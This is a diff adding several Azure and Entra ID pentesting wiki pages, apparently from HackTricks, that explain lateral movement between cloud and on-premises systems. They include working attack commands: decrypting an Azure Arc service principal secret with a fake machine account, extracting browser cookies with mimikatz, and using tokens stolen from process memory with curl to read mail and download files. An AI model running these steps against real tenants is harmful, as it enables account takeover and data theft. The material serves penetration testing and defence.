|
||||
```bash
|
||||
Get-AzResourceGroup -Debug
|
||||
```
|
||||
|
||||
In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can set the env variables `HTTPS_PROXY` and `HTTP_PROXY` according to the [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy).
|
||||
|
||||
### Microsoft Graph PowerShell
|
||||
|
||||
Microsoft Graph PowerShell is a cross-platform SDK that enables access to all Microsoft Graph APIs, including services like SharePoint, Exchange, and Outlook, using a single endpoint. It supports PowerShell 7+, modern authentication via MSAL, external identities, and advanced queries. With a focus on least privilege access, it ensures secure operations and receives regular updates to align with the latest Microsoft Graph API features.
|
||||
|
||||
Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation).
|
||||
|
||||
Commands in Microsoft Graph PowerShell are structured like: `<Action>-Mg<Service> <parameters>`
|
||||
|
||||
#### Debug Microsoft Graph PowerShell
|
||||
|
||||
Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending:
|
||||
|
||||
```bash
|
||||
Get-MgUser -Debug
|
||||
```
|
||||
|
||||
### ~~**AzureAD Powershell**~~
|
||||
|
||||
The Azure Active Directory (AD) module, now **deprecated**, is part of Azure PowerShell for managing Azure AD resources. It provides cmdlets for tasks like managing users, groups, and application registrations in Entra ID.
|
||||
|
||||
> [!TIP]
|
||||
> This is replaced by Microsoft Graph PowerShell
|
||||
|
||||
Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD).
|
||||
@@ -0,0 +1,65 @@
|
||||
# Az - Lateral Movement (Cloud - On-Prem)
|
||||
|
||||
## Az - Lateral Movement (Cloud - On-Prem)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### On-Prem machines connected to cloud
|
||||
|
||||
There are different ways a machine can be connected to the cloud:
|
||||
|
||||
#### Azure AD joined
|
||||
|
||||
<figure><img src="../../../images/image (259).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Workplace joined
|
||||
|
||||
<figure><img src="../../../images/image (222).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large">https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large</a></p></figcaption></figure>
|
||||
|
||||
#### Hybrid joined
|
||||
|
||||
<figure><img src="../../../images/image (178).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large">https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large</a></p></figcaption></figure>
|
||||
|
||||
#### Workplace joined on AADJ or Hybrid
|
||||
|
||||
<figure><img src="../../../images/image (252).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large">https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large</a></p></figcaption></figure>
|
||||
|
||||
### Tokens and limitations <a href="#tokens-and-limitations" id="tokens-and-limitations"></a>
|
||||
|
||||
In Azure AD, there are different types of tokens with specific limitations:
|
||||
|
||||
- **Access tokens**: Used to access APIs and resources like the Microsoft Graph. They are tied to a specific client and resource.
|
||||
- **Refresh tokens**: Issued to applications to obtain new access tokens. They can only be used by the application they were issued to or a group of applications.
|
||||
- **Primary Refresh Tokens (PRT)**: Used for Single Sign-On on Azure AD joined, registered, or hybrid joined devices. They can be used in browser sign-in flows and for signing in to mobile and desktop applications on the device.
|
||||
- **Windows Hello for Business keys (WHFB)**: Used for passwordless authentication. It's used to get Primary Refresh Tokens.
|
||||
|
||||
The most interesting type of token is the Primary Refresh Token (PRT).
|
||||
|
||||
{{#ref}}
|
||||
az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
|
||||
### Pivoting Techniques
|
||||
|
||||
From the **compromised machine to the cloud**:
|
||||
|
||||
- [**Pass the Cookie**](az-pass-the-cookie.md): Steal Azure cookies from the browser and use them to login
|
||||
- [**Dump processes access tokens**](az-processes-memory-access-token.md): Dump the memory of local processes synchronized with the cloud (like excel, Teams...) and find access tokens in clear text.
|
||||
- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phish the PRT to abuse it
|
||||
- [**Pass the PRT**](pass-the-prt.md): Steal the device PRT to access Azure impersonating it.
|
||||
- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Generate a cert based on the PRT to login from one machine to another
|
||||
|
||||
From compromising **AD** to compromising the **Cloud** and from compromising the **Cloud to** compromising **AD**:
|
||||
|
||||
- [**Azure AD Connect**](azure-ad-connect-hybrid-identity/)
|
||||
- **Another way to pivot from could to On-Prem is** [**abusing Intune**](../az-services/intune.md)
|
||||
|
||||
#### [Roadtx](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
This tool allows to perform several actions like register a machine in Azure AD to obtain a PRT, and use PRTs (legit or stolen) to access resources in several different ways. These are not direct attacks, but it facilitates the use of PRTs to access resources in different ways. Find more info in [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)
|
||||
|
||||
## References
|
||||
|
||||
- [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+71
@@ -0,0 +1,71 @@
|
||||
# Az - Arc vulnerable GPO Deploy Script
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Identifying the Issues
|
||||
|
||||
Azure Arc allows for the integration of new internal servers (joined domain servers) into Azure Arc using the Group Policy Object method. To facilitate this, Microsoft provides a deployment toolkit necessary for initiating the onboarding procedure. Inside the ArcEnableServerGroupPolicy.zip file, the following scripts can be found: DeployGPO.ps1, EnableAzureArc.ps1, and AzureArcDeployment.psm1.
|
||||
|
||||
When executed, the DeployGPO.ps1 script performs the following actions:
|
||||
|
||||
1. Creates the Azure Arc Servers Onboarding GPO within the local domain.
|
||||
2. Copies the EnableAzureArc.ps1 onboarding script to the designated network share created for the onboarding process, which also contains the Windows installer package.
|
||||
|
||||
When running this script, sys admins need to provide two main parameters: **ServicePrincipalId** and **ServicePrincipalClientSecret**. Additionally, it requires other parameters such as the domain, the FQDN of the server hosting the share, and the share name. Further details such as the tenant ID, resource group, and other necessary information must also be provided to the script.
|
||||
|
||||
An encrypted secret is generated in the AzureArcDeploy directory on the specified share using DPAPI-NG encryption. The encrypted secret is stored in a file named encryptedServicePrincipalSecret. Evidence of this can be found in the DeployGPO.ps1 script, where the encryption is performed by calling ProtectBase64 with $descriptor and $ServicePrincipalSecret as inputs. The descriptor consists of the Domain Computer and Domain Controller group SIDs, ensuring that the ServicePrincipalSecret can only be decrypted by the Domain Controllers and Domain Computers security groups, as noted in the script comments.
|
||||
|
||||
```powershell
|
||||
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
|
||||
$DomainComputersSID = "SID=" + $DomainComputersSID
|
||||
$DomainControllersSID = "SID=" + $DomainControllersSID
|
||||
$descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
|
||||
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
|
||||
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)
|
||||
```
|
||||
|
||||
### Exploit
|
||||
|
||||
We have the follow conditions:
|
||||
|
||||
1. We have successfully penetrated the internal network.
|
||||
2. We have the capability to create or assume control of a computer account within Active Directory.
|
||||
3. We have discovered a network share containing the AzureArcDeploy directory.
|
||||
|
||||
There are several methods to obtain a machine account within an AD environment. One of the most common is exploiting the machine account quota. Another method involves compromising a machine account through vulnerable ACLs or various other misconfigurations.
|
||||
|
||||
```powershell
|
||||
Import-MKodule powermad
|
||||
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
|
||||
```
|
||||
|
||||
Once a machine account is obtained, it is possible to authenticate using this account. We can either use the runas.exe command with the netonly flag or use pass-the-ticket with Rubeus.exe.
|
||||
|
||||
```powershell
|
||||
runas /user:fake01$ /netonly powershell
|
||||
```
|
||||
|
||||
```powershell
|
||||
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
|
||||
```
|
||||
|
||||
By having the TGT for our computer account stored in memory, we can use the following script to decrypt the service principal secret.
|
||||
|
||||
```powershell
|
||||
Import-Module .\AzureArcDeployment.psm1
|
||||
|
||||
$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"
|
||||
|
||||
$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
|
||||
$ebs
|
||||
```
|
||||
|
||||
Alternatively, we can use [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG).
|
||||
|
||||
At this point, we can gather the remaining information needed to connect to Azure from the ArcInfo.json file, which is stored on the same network share as the encryptedServicePrincipalSecret file. This file contains details such as: TenantId, servicePrincipalClientId, ResourceGroup, and more. With this information, we can use Azure CLI to authenticate as the compromised service principal.
|
||||
|
||||
## References
|
||||
|
||||
- [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+39
@@ -0,0 +1,39 @@
|
||||
# Az - Local Cloud Credentials
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Local Token Storage and Security Considerations
|
||||
|
||||
### Azure CLI (Command-Line Interface)
|
||||
|
||||
Tokens and sensitive data are stored locally by Azure CLI, raising security concerns:
|
||||
|
||||
1. **Access Tokens**: Stored in plaintext within `accessTokens.json` located at `C:\Users\<username>\.Azure`.
|
||||
2. **Subscription Information**: `azureProfile.json`, in the same directory, holds subscription details.
|
||||
3. **Log Files**: The `ErrorRecords` folder within `.azure` might contain logs with exposed credentials, such as:
|
||||
- Executed commands with credentials embedded.
|
||||
- URLs accessed using tokens, potentially revealing sensitive information.
|
||||
|
||||
### Azure PowerShell
|
||||
|
||||
Azure PowerShell also stores tokens and sensitive data, which can be accessed locally:
|
||||
|
||||
1. **Access Tokens**: `TokenCache.dat`, located at `C:\Users\<username>\.Azure`, stores access tokens in plaintext.
|
||||
2. **Service Principal Secrets**: These are stored unencrypted in `AzureRmContext.json`.
|
||||
3. **Token Saving Feature**: Users have the ability to persist tokens using the `Save-AzContext` command, which should be used cautiously to prevent unauthorized access.
|
||||
|
||||
## Automatic Tools to find them
|
||||
|
||||
- [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe)
|
||||
- [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1)
|
||||
|
||||
## Security Recommendations
|
||||
|
||||
Considering the storage of sensitive data in plaintext, it's crucial to secure these files and directories by:
|
||||
|
||||
- Limiting access rights to these files.
|
||||
- Regularly monitoring and auditing these directories for unauthorized access or unexpected changes.
|
||||
- Employing encryption for sensitive files where possible.
|
||||
- Educating users about the risks and best practices for handling such sensitive information.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+39
@@ -0,0 +1,39 @@
|
||||
# Az - Pass the Certificate
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Pass the Certificate (Azure)
|
||||
|
||||
In Azure joined machines, it's possible to authenticate from one machine to another using certificates that **must be issued by Azure AD CA** for the required user (as the subject) when both machines support the **NegoEx** authentication mechanism.
|
||||
|
||||
In super simplified terms:
|
||||
|
||||
- The machine (client) initiating the connection **needs a certificate from Azure AD for a user**.
|
||||
- Client creates a JSON Web Token (JWT) header containing PRT and other details, sign it using the Derived key (using the session key and the security context) and **sends it to Azure AD**
|
||||
- Azure AD verifies the JWT signature using client session key and security context, checks validity of PRT and **responds** with the **certificate**.
|
||||
|
||||
In this scenario and after grabbing all the info needed for a [**Pass the PRT**](pass-the-prt.md) attack:
|
||||
|
||||
- Username
|
||||
- Tenant ID
|
||||
- PRT
|
||||
- Security context
|
||||
- Derived Key
|
||||
|
||||
It's possible to **request P2P certificate** for the user with the tool [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:**
|
||||
|
||||
```bash
|
||||
RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
|
||||
```
|
||||
|
||||
The certificates will last the same as the PRT. To use the certificate you can use the python tool [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) that will **authenticate** to the remote machine, run **PSEXEC** and **open a CMD** on the victim machine. This will allow us to use Mimikatz again to get the PRT of another user.
|
||||
|
||||
```bash
|
||||
Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- For more details about how Pass the Certificate works check the original post [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+37
@@ -0,0 +1,37 @@
|
||||
# Az - Pass the Cookie
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Why Cookies?
|
||||
|
||||
Browser **cookies** are a great mechanism to **bypass authentication and MFA**. Because the user has already authenticated in the application, the session **cookie** can just be used to **access data** as that user, without needing to re-authenticate.
|
||||
|
||||
You can see where are **browser cookies located** in:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome
|
||||
{{#endref}}
|
||||
|
||||
## Attack
|
||||
|
||||
The challenging part is that those **cookies are encrypted** for the **user** via the Microsoft Data Protection API (**DPAPI**). This is encrypted using cryptographic [keys tied to the user](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) the cookies belong to. You can find more information about this in:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
|
||||
{{#endref}}
|
||||
|
||||
With Mimikatz in hand, I am able to **extract a user’s cookies** even though they are encrypted with this command:
|
||||
|
||||
```bash
|
||||
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
|
||||
```
|
||||
|
||||
For Azure, we care about the authentication cookies including **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, and **`ESTSAUTHLIGHT`**. Those are there because the user has been active on Azure lately.
|
||||
|
||||
Just navigate to login.microsoftonline.com and add the cookie **`ESTSAUTHPERSISTENT`** (generated by “Stay Signed In” option) or **`ESTSAUTH`**. And you will be authenticated.
|
||||
|
||||
## References
|
||||
|
||||
- [https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/](https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+7
@@ -0,0 +1,7 @@
|
||||
# Az - Phishing Primary Refresh Token (Microsoft Entra)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Check:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+7
@@ -0,0 +1,7 @@
|
||||
# Az - Primary Refresh Token (PRT)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Chec the post in** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) although another post explaining the same can be found in [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+37
@@ -0,0 +1,37 @@
|
||||
# Az - Processes Memory Access Token
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Basic Information**
|
||||
|
||||
As explained in [**this video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), some Microsoft software synchronized with the cloud (Excel, Teams...) might **store access tokens in clear-text in memory**. So just **dumping** the **memory** of the process and **grepping for JWT tokens** might grant you access over several resources of the victim in the cloud bypassing MFA.
|
||||
|
||||
Steps:
|
||||
|
||||
1. Dump the excel processes synchronized with in EntraID user with your favourite tool.
|
||||
2. Run: `string excel.dmp | grep 'eyJ0'` and find several tokens in the output
|
||||
3. Find the tokens that interest you the most and run tools over them:
|
||||
|
||||
```bash
|
||||
# Check the identity of the token
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
|
||||
|
||||
# Check the email (you need a token authorized in login.microsoftonline.com)
|
||||
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq
|
||||
|
||||
# Download a file from Teams
|
||||
## You need a token that can access graph.microsoft.com
|
||||
## Then, find the <site_id> inside the memory and call
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq
|
||||
|
||||
## Then, list one drive
|
||||
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
|
||||
|
||||
## Finally, download a file from that drive:
|
||||
┌──(magichk㉿black-pearl)-[~]
|
||||
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
|
||||
```
|
||||
|
||||
**Note that these kind of access tokens can be also found inside other processes.**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+60
@@ -0,0 +1,60 @@
|
||||
# Az AD Connect - Hybrid Identity
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Integration between **On-premises Active Directory (AD)** and **Azure AD** is facilitated by **Azure AD Connect**, offering various methods that support **Single Sign-on (SSO)**. Each method, while useful, presents potential security vulnerabilities that could be exploited to compromise cloud or on-premises environments:
|
||||
|
||||
- **Pass-Through Authentication (PTA)**:
|
||||
- Possible compromise of the agent on the on-prem AD, allowing validation of user passwords for Azure connections (on-prem to Cloud).
|
||||
- Feasibility of registering a new agent to validate authentications in a new location (Cloud to on-prem).
|
||||
|
||||
{{#ref}}
|
||||
pta-pass-through-authentication.md
|
||||
{{#endref}}
|
||||
|
||||
- **Password Hash Sync (PHS)**:
|
||||
- Potential extraction of clear-text passwords of privileged users from the AD, including credentials of a high-privileged, auto-generated AzureAD user.
|
||||
|
||||
{{#ref}}
|
||||
phs-password-hash-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **Federation**:
|
||||
- Theft of the private key used for SAML signing, enabling impersonation of on-prem and cloud identities.
|
||||
|
||||
{{#ref}}
|
||||
federation.md
|
||||
{{#endref}}
|
||||
|
||||
- **Seamless SSO:**
|
||||
- Theft of the `AZUREADSSOACC` user's password, used for signing Kerberos silver tickets, allowing impersonation of any cloud user.
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
- **Cloud Kerberos Trust**:
|
||||
- Possibility of escalating from Global Admin to on-prem Domain Admin by manipulating AzureAD user usernames and SIDs and requesting TGTs from AzureAD.
|
||||
|
||||
{{#ref}}
|
||||
az-cloud-kerberos-trust.md
|
||||
{{#endref}}
|
||||
|
||||
- **Default Applications**:
|
||||
- Compromising an Application Administrator account or the on-premise Sync Account allows modification of directory settings, group memberships, user accounts, SharePoint sites, and OneDrive files.
|
||||
|
||||
{{#ref}}
|
||||
az-default-applications.md
|
||||
{{#endref}}
|
||||
|
||||
For each integration method, user synchronization is conducted, and an `MSOL_<installationidentifier>` account is created in the on-prem AD. Notably, both **PHS** and **PTA** methods facilitate **Seamless SSO**, enabling automatic sign-in for Azure AD computers joined to the on-prem domain.
|
||||
|
||||
To verify the installation of **Azure AD Connect**, the following PowerShell command, utilizing the **AzureADConnectHealthSync** module (installed by default with Azure AD Connect), can be used:
|
||||
|
||||
```powershell
|
||||
Get-ADSyncConnector
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+49
@@ -0,0 +1,49 @@
|
||||
# Az - Cloud Kerberos Trust
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**This post is a summary of** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **which can be checked for further information about the attack. This technique is also commented in** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.**
|
||||
|
||||
## Basic Information
|
||||
|
||||
### Trust
|
||||
|
||||
When a trust is stablished with Azure AD, a **Read Only Domain Controller (RODC) is created in the AD.** The **RODC computer account**, named **`AzureADKerberos$`**. Also, a secondary `krbtgt` account named **`krbtgt_AzureAD`**. This account contains the **Kerberos keys** used for tickets that Azure AD creates.
|
||||
|
||||
Therefore, if this account is compromised it could be possible to impersonate any user... although this is not true because this account is prevented from creating tickets for any common privileged AD group like Domain Admins, Enterprise Admins, Administrators...
|
||||
|
||||
> [!CAUTION]
|
||||
> However, in a real scenario there are going to be privileged users that aren't in those groups. So the **new krbtgt account, if compromised, could be used to impersonate them.**
|
||||
|
||||
### Kerberos TGT
|
||||
|
||||
Moreover, when a user authenticates on Windows using a hybrid identity **Azure AD** will issue **partial Kerberos ticket along with the PRT.** The TGT is partial because **AzureAD has limited information** of the user in the on-prem AD (like the security identifier (SID) and the name).\
|
||||
Windows can then **exchange this partial TGT for a full TGT** by requesting a service ticket for the `krbtgt` service.
|
||||
|
||||
### NTLM
|
||||
|
||||
As there could be services that doesn't support kerberos authentication but NTLM, it's possible to request a **partial TGT signed using a secondary `krbtgt`** key including the **`KERB-KEY-LIST-REQ`** field in the **PADATA** part of the request and then get a full TGT signed with the primary `krbtgt` key **including the NT hash in the response**.
|
||||
|
||||
## Abusing Cloud Kerberos Trust to obtain Domain Admin <a href="#abusing-cloud-kerberos-trust-to-obtain-domain-admin" id="abusing-cloud-kerberos-trust-to-obtain-domain-admin"></a>
|
||||
|
||||
When AzureAD generates a **partial TGT** it will be using the details it has about the user. Therefore, if a Global Admin could modify data like the **security identifier and name of the user in AzureAD**, when requesting a TGT for that user the **security identifier would be a different one**.
|
||||
|
||||
It's not possible to do that through the Microsoft Graph or the Azure AD Graph, but it's possible to use the **API Active Directory Connect** uses to create and update synced users, which can be used by the Global Admins to **modify the SAM name and SID of any hybrid user**, and then if we authenticate, we get a partial TGT containing the modified SID.
|
||||
|
||||
Note that we can do this with AADInternals and update to synced users via the [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet.
|
||||
|
||||
### Attack prerequisites <a href="#attack-prerequisites" id="attack-prerequisites"></a>
|
||||
|
||||
The success of the attack and attainment of Domain Admin privileges hinge on meeting certain prerequisites:
|
||||
|
||||
- The capability to alter accounts via the Synchronization API is crucial. This can be achieved by having the role of Global Admin or possessing an AD Connect sync account. Alternatively, the Hybrid Identity Administrator role would suffice, as it grants the ability to manage AD Connect and establish new sync accounts.
|
||||
- Presence of a **hybrid account** is essential. This account must be amenable to modification with the victim account's details and should also be accessible for authentication.
|
||||
- Identification of a **target victim account** within Active Directory is a necessity. Although the attack can be executed on any account already synchronized, the Azure AD tenant must not have replicated on-premises security identifiers, necessitating the modification of an unsynchronized account to procure the ticket.
|
||||
- Additionally, this account should possess domain admin equivalent privileges but must not be a member of typical AD administrator groups to avoid the generation of invalid TGTs by the AzureAD RODC.
|
||||
- The most suitable target is the **Active Directory account utilized by the AD Connect Sync service**. This account is not synchronized with Azure AD, leaving its SID as a viable target, and it inherently holds Domain Admin equivalent privileges due to its role in synchronizing password hashes (assuming Password Hash Sync is active). For domains with express installation, this account is prefixed with **MSOL\_**. For other instances, the account can be pinpointed by enumerating all accounts endowed with Directory Replication privileges on the domain object.
|
||||
|
||||
### The full attack <a href="#the-full-attack" id="the-full-attack"></a>
|
||||
|
||||
Check it in the original post: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+9
@@ -0,0 +1,9 @@
|
||||
# Az - Default Applications
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Check the techinque in:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) and [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
The blog post discusses a privilege escalation vulnerability in Azure AD, allowing Application Admins or compromised On-Premise Sync Accounts to escalate privileges by assigning credentials to applications. The vulnerability, stemming from the "by-design" behavior of Azure AD's handling of applications and service principals, notably affects default Office 365 applications. Although reported, the issue is not considered a vulnerability by Microsoft due to documentation of the admin rights assignment behavior. The post provides detailed technical insights and advises regular reviews of service principal credentials in Azure AD environments. For more detailed information, you can visit the original blog post.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+32
@@ -0,0 +1,32 @@
|
||||
# Az- Synchronising New Users
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Syncing AzureAD users to on-prem to escalate from on-prem to AzureAD
|
||||
|
||||
I order to synchronize a new user f**rom AzureAD to the on-prem AD** these are the requirements:
|
||||
|
||||
- The **AzureAD user** needs to have a proxy address (a **mailbox**)
|
||||
- License is not required
|
||||
- Should **not be already synced**
|
||||
|
||||
```powershell
|
||||
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
|
||||
```
|
||||
|
||||
When a user like these is found in AzureAD, in order to **access it from the on-prem AD** you just need to **create a new account** with the **proxyAddress** the SMTP email.
|
||||
|
||||
An automatically, this user will be **synced from AzureAD to the on-prem AD user**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Notice that to perform this attack you **don't need Domain Admin**, you just need permissions to **create new users**.
|
||||
>
|
||||
> Also, this **won't bypass MFA**.
|
||||
>
|
||||
> Moreover, this was reported an **account sync is no longer possible for admin accounts**.
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+161
@@ -0,0 +1,161 @@
|
||||
# Az - Federation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation** is a collection of **domains** that have established **trust**. The level of trust may vary, but typically includes **authentication** and almost always includes **authorization**. A typical federation might include a **number of organizations** that have established **trust** for **shared access** to a set of resources.
|
||||
|
||||
You can **federate your on-premises** environment **with Azure AD** and use this federation for authentication and authorization. This sign-in method ensures that all user **authentication occurs on-premises**. This method allows administrators to implement more rigorous levels of access control. Federation with **AD FS** and PingFederate is available.
|
||||
|
||||
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Bsiacally, in Federation, all **authentication** occurs in the **on-prem** environment and the user experiences SSO across all the trusted environments. Therefore, users can **access** **cloud** applications by using their **on-prem credentials**.
|
||||
|
||||
**Security Assertion Markup Language (SAML)** is used for **exchanging** all the authentication and authorization **information** between the providers.
|
||||
|
||||
In any federation setup there are three parties:
|
||||
|
||||
- User or Client
|
||||
- Identity Provider (IdP)
|
||||
- Service Provider (SP)
|
||||
|
||||
(Images from https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
<figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. Initially, an application (Service Provider or SP, such as AWS console or vSphere web client) is accessed by a user. This step might be bypassed, leading the client directly to the IdP (Identity Provider) depending on the specific implementation.
|
||||
2. Subsequently, the SP identifies the appropriate IdP (e.g., AD FS, Okta) for user authentication. It then crafts a SAML (Security Assertion Markup Language) AuthnRequest and reroutes the client to the chosen IdP.
|
||||
3. The IdP takes over, authenticating the user. Post-authentication, a SAMLResponse is formulated by the IdP and forwarded to the SP through the user.
|
||||
4. Finally, the SP evaluates the SAMLResponse. If validated successfully, implying a trust relationship with the IdP, the user is granted access. This marks the completion of the login process, allowing the user to utilize the service.
|
||||
|
||||
**If you want to learn more about SAML authentication and common attacks go to:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/saml-attacks
|
||||
{{#endref}}
|
||||
|
||||
## Pivoting
|
||||
|
||||
- AD FS is a claims-based identity model.
|
||||
